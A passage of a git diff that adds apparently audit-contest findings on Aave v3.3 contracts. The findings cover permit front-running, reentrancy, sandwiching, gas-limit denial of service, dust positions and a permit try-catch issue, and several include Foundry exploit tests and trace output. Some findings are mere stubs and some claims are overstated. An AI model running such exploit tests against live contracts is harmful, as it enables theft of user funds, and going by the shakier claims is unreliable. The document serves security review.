+ attacker.startAttack(); + + // Verify attacker gained extra ETH + assertGt(address(attacker).balance, 5 ether); + } + + function testCombinedBalanceManipulationAttack() public { + // Setup flash loan amount + uint256 flashLoanAmount = 1000 ether; + + vm.startPrank(malicious); + + // Simulate flash loan received + gateway.depositETH{value: flashLoanAmount}(address(weth), malicious, 0); + + // Prepare multiple parallel withdrawals + uint256[] memory amounts = new uint256[](3); + amounts[0] = 300 ether; + amounts[1] = 400 ether; + amounts[2] = 500 ether; + + // Execute parallel withdrawals exploiting race condition + for(uint i = 0; i < amounts.length; i++) { + gateway.withdrawETH(address(weth), amounts[i], malicious); + } + + vm.stopPrank(); + } + + function testCompleteExploitChain() public { + // 1. Start with permit front-running + testPermitFrontRunningAttack(); + + // 2. Follow up with reentrancy + testReentrancyAttack(); + + // 3. Finish with balance manipulation + testCombinedBalanceManipulationAttack(); + + // 4. Add price manipulation through sandwiching + vm.startPrank(malicious); + + // Sandwich start - large deposit to manipulate price + gateway.depositETH{value: 1000 ether}(address(weth), malicious, 0); + + // Victim transaction would occur here + + // Sandwich end - large withdrawal + gateway.withdrawETH(address(weth), 1000 ether, malicious); + + vm.stopPrank(); + } +} + +// Mock contracts needed for testing +contract MockPool is IPool { + function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external {} + function withdraw(address asset, uint256 amount, address to) external returns (uint256) { + return amount; + } + // ... implement other required interface methods +} + +contract MockAToken is IAToken { + mapping(address => uint256) public balances; + + function balanceOf(address account) external view returns (uint256) { + return balances[account]; + } + + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) external {} + + function transferFrom(address from, address to, uint256 amount) external returns (bool) { + return true; + } + // ... implement other required interface methods +} +``` + +### Mitigation + +1. Permit Security: +```solidity +// Add nonce tracking +mapping(address => uint256) public nonces; +// Add permit deadline validation +require(block.timestamp <= deadline, "Permit expired"); +``` + +2. Reentrancy Protection: +```solidity +// Add reentrancy guard +modifier nonReentrant() { + require(_notEntered, "ReentrancyGuard: reentrant call"); + _notEntered = false; + _; + _notEntered = true; +} +``` + +3. Balance Safety: +```solidity +// Add balance snapshot before operations +uint256 initialBalance = aWETH.balanceOf(address(this)); +// Verify balance changes +require(aWETH.balanceOf(address(this)) >= initialBalance + amount, "Balance check failed"); +``` + +4. General Improvements: +Implement CEI (Checks-Effects-Interactions) pattern +Add emergency pause functionality +Improve event emission for tracking +Add rate limiting for large withdrawals diff --git a/136.md b/136.md new file mode 100644 index 0000000..0b89f4c --- /dev/null +++ b/136.md @@ -0,0 +1,92 @@ +Damp Mulberry Sealion + +Medium + +# Gas Cost Explosion in Bad Debt Cleanup + +### Summary + +The `_burnBadDebt` function within the liquidation logic iterates through all active reserves when attempting to clean up bad debt. This process introduces a linear increase in gas costs proportional to the number of reserves. In situations where the number of active reserves is large which will be common case in (e.g., Ethereum, Arbitrum, Optimism, Polygon, etc.) where the protocol can support a large number of reserves, or when the protocol is deployed on high-traffic chains, this function risks exceeding the block gas limit, potentially rendering it unusable. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L691 + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L698-L700 + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L714-L723 + + + + + +### Root Cause + +```solidity +for (uint256 i; i < reservesCount; i++) { + if (!userConfig.isBorrowing(i)) { + continue; + } + ... + _burnDebtTokens(...); +} + +``` + +This loop scales with the number of reserves (reservesCount), iterating through all reserves regardless of whether bad debt exists. + + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +The issue manifests in scenarios with: + +1- High Reserve Count: Aave v3.3's design allows deployment across multiple chains **(e.g., Ethereum, Arbitrum, Optimism, Polygon, etc.)** where the protocol can support a large number of reserves. For example, if the protocol manages **100+** reserves, the loop will execute **100+ iterations**, **even when many reserves do not have outstanding bad debt**. + +2-Complex User Configurations: Users may have debt positions across multiple reserves, exacerbating the computational workload for the `_burnBadDebt` function. + +3-Gas Constraints: During periods of high network activity **(e.g., on Ethereum mainnet)**, gas prices rise significantly. The iterative nature of `_burnBadDebt` can lead to failed transactions due to block gas limit restrictions. + +- Assume reservesCount = 100 and that 20 reserves contain bad debt. The loop processes all 100 reserves to identify and handle the bad debt, consuming unnecessary gas for reserves without debt. +- With high gas fees or complex reserve states, this process risks hitting the block gas limit, especially on gas-constrained chains like **Ethereum or BNB Chain.** + + +### Impact + +1- **Liquidation Failures** +Users with debt positions spanning multiple reserves may be unable to liquidate their positions due to the high gas cost of the` _burnBadDebt` function. +This could result in cascading insolvency across the protocol if bad debt accumulates and cannot be efficiently cleared. + +2. **Denial of Service** +Liquidators may avoid liquidating positions due to prohibitive gas costs, leading to a backlog of unaddressed bad debt. Over time, this can destabilize the protocol. + +3. **Cross-Chain Vulnerability** +Chains like **Ethereum or Polygon**, which experience congestion and high gas prices, are more susceptible to this issue. On these chains, even moderate reserve counts could render the function unusable. + +### PoC + +_No response_ + +### Mitigation + +**1- Optimized Iteration** +Implement a mapping or index that tracks only reserves with active debt. This reduces the number of iterations in the _burnBadDebt loop: +`mapping(address => bool) activeDebtReserves;` +Only iterate through reserves with known bad debt, avoiding unnecessary computations. + +**2. Batched Processing** +Allow` _burnBadDebt `to process reserves in smaller batches across multiple transactions to avoid exceeding gas limits: +```solidity +function _burnBadDebtBatch(uint256 start, uint256 end) external { + for (uint256 i = start; i < end && i < reservesCount; i++) { + if (!userConfig.isBorrowing(i)) continue; + ... + } +} +``` \ No newline at end of file diff --git a/137.md b/137.md new file mode 100644 index 0000000..81d5d54 --- /dev/null +++ b/137.md @@ -0,0 +1,70 @@ +Furry Opaque Pony + +Medium + +# Liquidation logic allows the creation of "dust" collateral positions. + +Medium + +## **Summary** + +Protocols Liquidation logic allows for the creation and liquidation of dust positions. +## **Vulnerability Detail** +Protocols Liquidation logic allows for the creation and liquidation of dust positions exposing the lack of minimum collateral thresholds. Apart from creating internal accounting issues by itself , it , can escalate to further with the protocol being under collateralized and resorting impact levied on protocol and users for instance. + +**## Code Snippet** + https://github.com/aave-dao/aave-v3-origin/blob/0c6fac8a1421f21bc62eaf26eb79bd05ee183ed8/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L504-L559 +and +https://github.com/aave-dao/aave-v3-origin/blob/0c6fac8a1421f21bc62eaf26eb79bd05ee183ed8/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L112-L341 + +**## POC** + +``` +solidity + +function test_liquidate_with_dust_amounts() public { + // Use small amounts for both collateral and debt + uint256 collateralAmount = 1e4; // 0.0001 WBTC + uint256 borrowAmount = 2e6; // 2 USDX + + vm.startPrank(alice); + contracts.poolProxy.supply(tokenList.wbtc, collateralAmount, alice, 0); + contracts.poolProxy.borrow(tokenList.usdx, borrowAmount, 2, 0, alice); + vm.stopPrank(); + + // Pass a significant price impact (e.g. 150_00 = 150%) to reduce the WBTC price + // and bring the health factor below liquidation threshold + LiquidationInput memory params = _loadLiquidationInput( + alice, + tokenList.wbtc, + tokenList.usdx, + borrowAmount, + tokenList.wbtc, + 150_00 // 150% price impact to bring health factor down + ); + + vm.prank(bob); + contracts.poolProxy.liquidationCall( + params.collateralAsset, + params.debtAsset, + params.user, + params.liquidationAmountInput, + params.receiveAToken + ); +} +``` + +**## Impact** +1) Dust amounts where absorbed into the collateral +2) **Test shows that the huge under collaterlized impact scenario was levied on the protocol.** + +****## Tools used**** +Manual & Forge + +**## Recommendation** +Restrict minimum collateral + +**## Similar References** +https://news.bitcoin.com/bitcoins-black-swan-a-retrospective-on-2020s-black-thursday/ +https://www.binance.com/en/square/post/17756544260673 + diff --git a/138.md b/138.md new file mode 100644 index 0000000..9f560cd --- /dev/null +++ b/138.md @@ -0,0 +1,243 @@ +Bent Cyan Orca + +High + +# Permit Signature Validation Bypass in Pool Contract's supplyWithPermit Function + +### Summary + +The `supplyWithPermit` function in the Pool contract silently ignores failed permission validation and continues execution, allowing unauthorized token transfers and token approval manipulation. + +### Root Cause + +The vulnerability exists in the `Pool` contract implementation of `supplyWithPermit`. The function wraps the permission call in a try-catch block but continues execution even when permission validation fails. +```solidity +function supplyWithPermit( + address asset, + uint256 amount, + address onBehalfOf, + uint16 referralCode, + uint256 deadline, + uint8 permitV, + bytes32 permitR, + bytes32 permitS +) public virtual override { + try + IERC20WithPermit(asset).permit( + msg.sender, + address(this), + amount, + deadline, + permitV, + permitR, + permitS + ) + {} catch {} // <-- The main problem is here + + SupplyLogic.executeSupply( + _reserves, + _reservesList, + _usersConfig[onBehalfOf], + DataTypes.ExecuteSupplyParams({ + asset: asset, + amount: amount, + onBehalfOf: onBehalfOf, + referralCode: referralCode + }) + ); +} +``` + +The main problem is that the function uses an empty `try-catch` block that ignores all errors from permit operations: +```solidity +try { + // Permit operation +} catch {} // Catch block is empty +``` +Even if the permit fails, the function still proceeds to `executeSupply` without validating whether the permit succeeded or not. + +There is no check for a valid signature and the correct owner. This could allow an attacker to supply without a valid signature and Alice to supply on behalf of Bob using a signature that should only be valid for Bob. + +### Impact + +- Unauthorized token transfers possible despite invalid permits +- Bypass of EIP-2612 permit signature validation + +### Attack Path +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L185 + +### PoC + +Add this to `Pool.t.sol` and run it `forge test --match-test "test_supplyWithPermit_ignores_invalid_signature|test_supplyWithPermit_ignores_wrong_owner" -vvvv`. +```solidity +function test_supplyWithPermit_ignores_invalid_signature() public { + uint256 amount = 1000e6; + uint256 deadline = block.timestamp + 1 days; + + // Generate invalid signature values + uint8 invalidV = 0; + bytes32 invalidR = bytes32(0); + bytes32 invalidS = bytes32(0); + + // Mint tokens to alice for testing + vm.prank(poolAdmin); + usdx.mint(alice, amount); + + vm.startPrank(alice); + + // Approve spending first since permit will fail + usdx.approve(address(pool), amount); + + // This should revert due to invalid signature, but doesn't + pool.supplyWithPermit( + address(usdx), + amount, + alice, + 0, // referralCode + deadline, + invalidV, + invalidR, + invalidS + ); + + // Verify supply succeeded despite invalid permit + (address aUSDX,,) = contracts.protocolDataProvider.getReserveTokensAddresses(address(usdx)); + assertEq(IERC20(aUSDX).balanceOf(alice), amount); + + vm.stopPrank(); +} + +function test_supplyWithPermit_ignores_wrong_owner() public { + uint256 amount = 1000e6; + uint256 deadline = block.timestamp + 1 days; + + // Generate signature values for bob but try to use from alice + uint8 v = 27; + bytes32 r = bytes32(uint256(1)); + bytes32 s = bytes32(uint256(2)); + + // Mint tokens to alice + vm.prank(poolAdmin); + usdx.mint(alice, amount); + + vm.startPrank(alice); + + // Approve spending + usdx.approve(address(pool), amount); + + // This should revert since signature is for wrong owner, but doesn't + pool.supplyWithPermit( + address(usdx), + amount, + bob, // Try to supply on behalf of bob with alice's tokens + 0, + deadline, + v, + r, + s + ); + + // Verify supply succeeded despite wrong owner in permit + (address aUSDX,,) = contracts.protocolDataProvider.getReserveTokensAddresses(address(usdx)); + assertEq(IERC20(aUSDX).balanceOf(bob), amount); + + vm.stopPrank(); +} +``` + +Result: + +`test_supplyWithPermit_ignores_invalid_signature` +```diff +├─ [8936] USDX::permit(alice: [0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7], InitializableImmutableAdminUpgradeabilityProxy: [0xb21Bdf7973F6302236dACC401D45f919FcB53F13], 1000000000 [1e9], 86401 [8.64e4], 0, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000000000000000000000000000) +│ │ ├─ [3000] PRECOMPILES::ecrecover(0x509860af16f126b52f5d19152a6f8d40b94bebdf02af2e7b6b7d3ceaf4df0b0c, 0, 0, 0) [staticcall] +│ │ │ └─ ← [Return] +│ │ └─ ← [Revert] revert: INVALID_SIGNATURE +``` +First, we see an attempt to call `permit` with an invalid signature. + +```diff +├─ [28019] USDX::transferFrom(alice: [0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7], InitializableImmutableAdminUpgradeabilityProxy: [0x9e1971387CA78910Ed778e240833388b16B214F0], 1000000000 [1e9]) +│ ├─ emit Transfer(from: alice: [0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7], to: InitializableImmutableAdminUpgradeabilityProxy: [0x9e1971387CA78910Ed778e240833388b16B214F0], value: 1000000000 [1e9]) +``` +Even though the permit fails with `INVALID_SIGNATURE`, the function continues execution and successfully supplies. + +```diff +├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7], value: 1000000000 [1e9]) +├─ emit Mint(caller: alice: [0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7], onBehalfOf: alice: [0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7], value: 1000000000 [1e9], balanceIncrease: 0, index: 1000000000000000000000000000 [1e27]) +``` +Confirmation that the supply was successful is done through minting `aToken`. + +```diff +├─ [5380] InitializableImmutableAdminUpgradeabilityProxy::fallback(alice: [0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7]) [staticcall] +│ └─ ← [Return] 1000000000 [1e9] +``` +Final verification that the `aToken` was actually requested to the user's address. + + +`test_supplyWithPermit_ignores_wrong_owner` +```diff +├─ [8936] USDX::permit(...) +│ │ ├─ [3000] PRECOMPILES::ecrecover(...) +│ │ │ └─ ← [Return] 0x000000000000000000000000155b63f2ecd12ede52e693f9c5293547864e4f71 +│ │ │ └─ ← [Revert] revert: INVALID_SIGNATURE +``` +The permit attempt failed but the transaction continued, we can see that the permit failed with the error "INVALID_SIGNATURE", but the function continued. + +```diff +├─ [28019] USDX::transferFrom(alice: [0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7], InitializableImmutableAdminUpgradeabilityProxy: [0x9e1971387CA78910Ed778e240833388b16B214F0], 1000000000 [1e9]) +│ │ │ ├─ emit Transfer(...) +│ │ │ └─ ← [Return] true +``` +Transfer is still successful even if permit fails. + +```diff +├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: bob: [0x0376AAc07Ad725E01357B1725B5ceC61aE10473c], value: 1000000000 [1e9]) +├─ emit Mint(caller: alice: [0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7], onBehalfOf: bob: [0x0376AAc07Ad725E01357B1725B5ceC61aE10473c], value: 1000000000 [1e9], ...) +``` +Token successfully minted for wrong recipient. + +```diff +├─ [5380] InitializableImmutableAdminUpgradeabilityProxy::fallback(bob: [0x0376AAc07Ad725E01357B1725B5ceC61aE10473c]) [staticcall] +│ └─ ← [Return] 1000000000 [1e9] +``` +Final balance check proves that the tokens were successfully transferred. + +### Mitigation + +Remove the try-catch block and allow permit failures to revert. +```solidity +function supplyWithPermit( + address asset, + uint256 amount, + address onBehalfOf, + uint16 referralCode, + uint256 deadline, + uint8 permitV, + bytes32 permitR, + bytes32 permitS +) public virtual override { + // Remove try-catch, let permit validation failures revert + IERC20WithPermit(asset).permit( + msg.sender, + address(this), + amount, + deadline, + permitV, + permitR, + permitS + ); + + SupplyLogic.executeSupply( + _reserves, + _reservesList, + _usersConfig[onBehalfOf], + DataTypes.ExecuteSupplyParams({ + asset: asset, + amount: amount, + onBehalfOf: onBehalfOf, + referralCode: referralCode + }) + ); +} +``` diff --git a/139.md b/139.md new file mode 100644 index 0000000..f0765fe --- /dev/null +++ b/139.md @@ -0,0 +1,47 @@ +Flat Gingerbread Marmot + +Medium + +# attacker can make 'withdrawETHWithPermit' fail + +### Summary + +When a user calls `withdrawETHWithPermit` function, attacker can make the call revert by front-running. This happens because of a missing `try-catch` statement in the `withdrawETHWithPermit` function. + + +### Root Cause + +When ` withdrawETHWithPermit` is called, by passing a permit signature, the contract calls the `permit` function of the asset to get approval to spend on behalf of caller. It then calls the `Pool.withdraw` function to withdraw the ETH. + +```solidity +aWETH.permit(msg.sender, address(this), amount, deadline, permitV, permitR, permitS); //@audit Attacker can grief a user by making 'withdrawETHWithPermit' call fail + +``` +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L122C3-L145C4 + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +1.user call `withdrawETHWithPermit` to withdraw ETH +2.attacker make the call revert by front-running + + +### Impact + +Attacker can grief users by frontrunning the `withdrawETHWithPermit` functions, making that functionality unusable by users + + +### PoC + +_No response_ + +### Mitigation + +Implement a try-catch statement. Inside the `withdrawETHWithPermit` function, call the assets `permit` statement using a try statement, and catch any revert. That will resolve the issue. diff --git a/140.md b/140.md new file mode 100644 index 0000000..0c7afc8 --- /dev/null +++ b/140.md @@ -0,0 +1,95 @@ +Dry Macaroon Jay + +Medium + +# DoS in Liquidation Workflow + +### Summary + + + +The `_burnBadDebt` function in the liquidation logic iterates through all active reserves to clean up bad debt. This design introduces a linear gas cost increase proportional to the number of reserves (`reservesCount`). On high-traffic chains like Ethereum, Arbitrum, Optimism, and Polygon, which support numerous reserves, this function risks exceeding the block gas limit. The inefficiency is particularly critical during periods of network congestion, making the function prone to failure and introducing operational risks to the protocol. + +- [[Source Reference: Line 691](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L691)](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L691) +- [[Loop Reference: Lines 698–700](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L698-L700)](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L698-L700) +- [[Debt Handling Logic: Lines 714–723](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L714-L723)](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L714-L723) + + + +### Root Cause + +The inefficiency stems from the iteration logic used in `_burnBadDebt`: + +```solidity +for (uint256 i; i < reservesCount; i++) { + if (!userConfig.isBorrowing(i)) { + continue; + } + ... + _burnDebtTokens(...); +} +``` + +1. **Iterative Overhead**: The loop evaluates all reserves, regardless of whether they contain bad debt. +2. **No Filtering Mechanism**: Reserves with no bad debt are still processed, incurring unnecessary gas costs. + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +This issue arises in the following scenarios: + +1. **High Reserve Count**: + - The protocol is designed to handle a large number of reserves across chains like Ethereum, Arbitrum, and Polygon. + - If `reservesCount` reaches 100+ and only a fraction (e.g., 20) of reserves have bad debt, the loop still iterates through all reserves, wasting gas. + +2. **Complex User Configurations**: + - Users with debt positions across multiple reserves further complicate the iteration, as each reserve must be checked for active debt. + +3. **Gas Constraints on Congested Chains**: + - Chains with high gas prices (e.g., Ethereum) exacerbate the inefficiency, as gas consumption per iteration can render the function unusable during network congestion. + + +### Impact + +1. **Liquidation Failures**: + - Liquidators face prohibitive gas costs when attempting to clear bad debt. + - Positions with bad debt may fail to liquidate, potentially destabilizing the protocol. + +2. **Denial of Service**: + - The high gas cost disincentivizes liquidators, leading to unaddressed bad debt. Over time, this can result in cascading insolvency. + +3. **Cross-Chain Vulnerability**: + - Chains like Ethereum and Polygon, known for high gas costs and congestion, are especially vulnerable. Even moderate reserve counts on these chains could cause the function to fail. + + +### PoC + +**Scenario**: +- **Reserve Count**: 100 reserves. +- **Bad Debt Distribution**: Only 20 reserves contain bad debt. +- **Gas Cost Analysis**: The loop processes all 100 reserves, even though only 20 need attention. + +**Executing**: +1. Trigger `_burnBadDebt` under high gas conditions. +2. Observe the excessive gas consumption due to unnecessary iterations. + +**Consequences:** +- The function fails as gas limits are exceeded. +- The liquidation backlog increases, leading to protocol inefficiencies. + + +### Mitigation + +### **Mitigation** + +1. **Priority Queue for Reserve Management**: Implement a priority queue to dynamically track and prioritize reserves with active bad debt. Reserves are processed based on urgency (e.g., debt severity or utilization rate), significantly reducing unnecessary iterations. This ensures efficient handling of reserves, particularly on high-traffic chains like Ethereum or Polygon. + +2. **Event-Driven Reserve Tracking**: Utilize event-driven architecture to maintain a real-time mapping of reserves with active bad debt. Events like `DeficitCreated` and `DeficitCleared` update a registry, allowing `_burnBadDebt` to iterate only over reserves flagged as active. This eliminates redundant computation while ensuring scalability and responsiveness. \ No newline at end of file diff --git a/141.md b/141.md new file mode 100644 index 0000000..d6b46ef --- /dev/null +++ b/141.md @@ -0,0 +1,58 @@ +Fast Steel Cormorant + +Medium + +# Dust Accumulation in `_burnDebtTokens` + + +### Summary and Impact + +The `_burnDebtTokens` function can leave residual “dust” if a borrower’s outstanding debt does not align perfectly with the variable debt scaling factors. While small, this leftover debt incorrectly flags the borrower as still having a nonzero balance, contradicting the protocol’s expectation that fully liquidated users are debt-free. This disrupts the system’s normal accounting and violates the invariants around consistency of user states. Although not severe enough to drain funds or halt protocol operations, it poses a risk to accurate liquidity, user status tracking, and the protocol’s handling of seemingly repaid debt positions. + +--- + +### Vulnerability Details + +Within **`LiquidationLogic.sol`**, the `_burnDebtTokens` subroutine aims to reduce a user’s debt during liquidation. If the user’s total collateral is depleted (`hasNoCollateralLeft == true`), it attempts to burn all debt. However, when `IVariableDebtToken(...).burn()` operates on scaled values, rounding discrepancies can result in leftover “dust,” a tiny fraction of debt that remains. The user’s debt is never fully zeroed out, causing accounting inconsistencies: + +(https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L528-L596) + +**Problem Scenario** +1. User accrues debt in amounts that are not multiples of the scaling factor. +2. A liquidation tries to burn “all” of the user’s debt. +3. Due to fractional scaling/rounding, a small leftover amount persists—enough to maintain an active debt position. +4. The user remains flagged as a borrower with minimal leftover debt, conflicting with the invariant that a fully liquidated user’s debt must be zero. + +**Test Code Snippet** + + +```solidity +function testDustAccumulation() public { + // 1) Borrow an amount that isn't a clean multiple of the scaling factor + uint256 oddBorrowAmount = 333333333333333333; // e.g., 333.333333333333333 + // Mock or real borrow call omitted for brevity + + // 2) Force liquidation. The code attempts to burn "all" debt but leaves dust. + // mockLiquidation(user, oddBorrowAmount); // Hypothetical call + + // 3) The user remains flagged as borrowing. Actual leftover dust is > 0. + uint256 leftover = getUserDebt(user); + assertGt(leftover, 0, "No leftover dust - vulnerability did not reproduce"); +} +``` + +The leftover dust violates the system’s stated invariants of consistent user states and correct accounting, as documented in the upgrade docs. + +--- + +### Tools Used +- **Manual Review** +- **Foundry** + +--- + +### Recommendations + + **Zero-Debt Safety Check** + Introduce a small “epsilon” threshold when burning debt. If leftover debt is below this threshold, zero it out and mark the user as fully repaid. + diff --git a/142.md b/142.md new file mode 100644 index 0000000..ddacc76 --- /dev/null +++ b/142.md @@ -0,0 +1,59 @@ +Glamorous Admiral Sloth + +Medium + +# use try and catch in the withdrawETHWithPermit + +### Summary + +here in the the withdrawETHWithPermit we are not implementing in try and catch as it should be. + +### Root Cause + + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L140 + function withdrawETHWithPermit( + address, + uint256 amount, + address to, + uint256 deadline, + uint8 permitV, + bytes32 permitR, + bytes32 permitS + ) external override { + IAToken aWETH = IAToken(POOL.getReserveAToken(address(WETH))); + uint256 userBalance = aWETH.balanceOf(msg.sender); + uint256 amountToWithdraw = amount; + + // if amount is equal to type(uint256).max, the user wants to redeem everything + if (amount == type(uint256).max) { + amountToWithdraw = userBalance; + } + // permit `amount` rather than `amountToWithdraw` to make it easier for front-ends and integrators + @>>aWETH.permit(msg.sender, address(this), amount, deadline, permitV, permitR, permitS); + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + + try + aWETH.permit(msg.sender, address(this), amount, deadline, permitV, permitR, permitS); + {} catch {} \ No newline at end of file diff --git a/143.md b/143.md new file mode 100644 index 0000000..9ff930c --- /dev/null +++ b/143.md @@ -0,0 +1,66 @@ +Magic Turquoise Yak + +High + +# Failing to strictly verify whether there is sufficient available liquidity in the pool before approving a loan. + +### Summary + +In the validateBorrow function, the code only checks: +```solidity +require( + !params.reserveCache.reserveConfiguration.getIsVirtualAccActive() || + IERC20(params.reserveCache.aTokenAddress).totalSupply() >= params.amount, + Errors.INVALID_AMOUNT +); +``` +to determine whether borrowing is allowed. However, it fails to properly check whether there is actually enough available liquidity in the pool to support the requested loan. The function aToken.totalSupply() represents the total issued supply of aTokens, not the actual available liquidity of the underlying asset. +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L158 + +### Root Cause + +In Aave’s design, aToken.totalSupply() primarily reflects the total deposits across all users (converted into aToken shares)—but this does not guarantee that the same amount of the underlying asset remains unborrowed. A significant portion of the deposited assets may have already been borrowed by other users. The actual available liquidity should be calculated as the remaining unborrowed balance of the underlying asset, rather than just relying on the aToken supply. + +If the check is simply: +```solidity +IERC20(params.reserveCache.aTokenAddress).totalSupply() >= params.amount +``` +this does not prevent the pool from being drained of liquidity. In theory, even if most of the pool’s assets have already been borrowed, this condition could still pass validation, allowing new borrowers to proceed while actual liquidity is insufficient. This could lead to situations where the protocol approves loans that cannot be fulfilled due to a lack of available funds. + +The correct approach would be to check available liquidity before allowing a loan, such as by verifying: +The remaining balance of the underlying asset (availableLiquidity) is greater than or equal to params.amount; +Or implementing a similar availableLiquidity >= amount check at a higher level in Aave’s logic. + +Even missing a basic “is there enough liquidity left?” check can introduce serious financial risks. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +The usual method is to retrieve: +```solidity +availableLiquidity = IERC20(asset).balanceOf(aTokenAddress); +``` +Then validate: +```solidity +require(availableLiquidity >= amount, Errors.VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE); +``` +This ensures that the borrower can actually withdraw the requested amount of the underlying asset. \ No newline at end of file diff --git a/144.md b/144.md new file mode 100644 index 0000000..40af96c --- /dev/null +++ b/144.md @@ -0,0 +1,50 @@ +Magic Turquoise Yak + +High + +# executeLiquidationCall() + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L200 +If we closely examine the following logic in executeLiquidationCall(): +```solidity +bool hasNoCollateralLeft = vars.totalCollateralInBaseCurrency == + vars.collateralToLiquidateInBaseCurrency; +if (hasNoCollateralLeft && userConfig.isBorrowingAny()) { + _burnBadDebt(...); +} +``` +we can see that it relies on a strict equality check (==) to determine whether the user has no remaining collateral after liquidation. + +However, both +vars.totalCollateralInBaseCurrency and +vars.collateralToLiquidateInBaseCurrency +are derived from calculations involving prices, indexes, and discount rates, which often introduce floating-point precision or rounding issues. In real-world scenarios, even if a user’s collateral is nearly fully liquidated, small rounding discrepancies may prevent vars.totalCollateralInBaseCurrency from being exactly equal to vars.collateralToLiquidateInBaseCurrency. Instead, there may be a minuscule “dust” amount remaining. As a result, the hasNoCollateralLeft check fails, preventing the _burnBadDebt() logic from executing. This leaves behind residual “dust collateral,” keeping the user in a state where isBorrowingAny = true and making full liquidation impossible—creating a deadlock scenario. + +Specific Issues + 1. Minimal Residual Collateral +When a user is left with an extremely small amount of collateral, precision errors can cause totalCollateralInBaseCurrency to retain a tiny nonzero value, while collateralToLiquidateInBaseCurrency might be slightly less due to rounding. This makes the == comparison return false, leading the protocol to incorrectly assume the user still has collateral, even when it is practically worthless. + 2. Bad Debt Fails to Trigger +In Aave, _burnBadDebt() is only executed if the user’s collateral is truly zero. However, if the strict equality check fails due to rounding errors, the _burnBadDebt() function is never called, creating a risk where actual bad debt goes unregistered or results in a “zombie” debt position. + 3. User’s Future Actions Are Blocked +Because a tiny amount of collateral and debt remains, the user may be unable to manually repay their debt, nor can liquidators fully clear the position (due to Dust logic or Close Factor constraints). As a result, the position remains stuck, causing difficulties for both the protocol and the user. + +Potential Fixes + +To prevent this issue, a common approach when comparing floating-point or fixed-point numbers is to avoid strict equality (==) and instead use: + A Small Tolerance Threshold +Example: +```solidity +// Assume we consider any amount below 1 wei of base currency as "no collateral left" +if (vars.totalCollateralInBaseCurrency <= vars.collateralToLiquidateInBaseCurrency + 1) { + hasNoCollateralLeft = true; +} +``` +Alternatively, a more appropriate epsilon value can be chosen for approximate comparisons. + +Consistent Rounding Methods +During collateral sum calculations and liquidation amount conversions, ensure that a consistent rounding direction is applied across all operations to eliminate rounding mismatches. + More Robust Dust Logic +Since Aave already has a 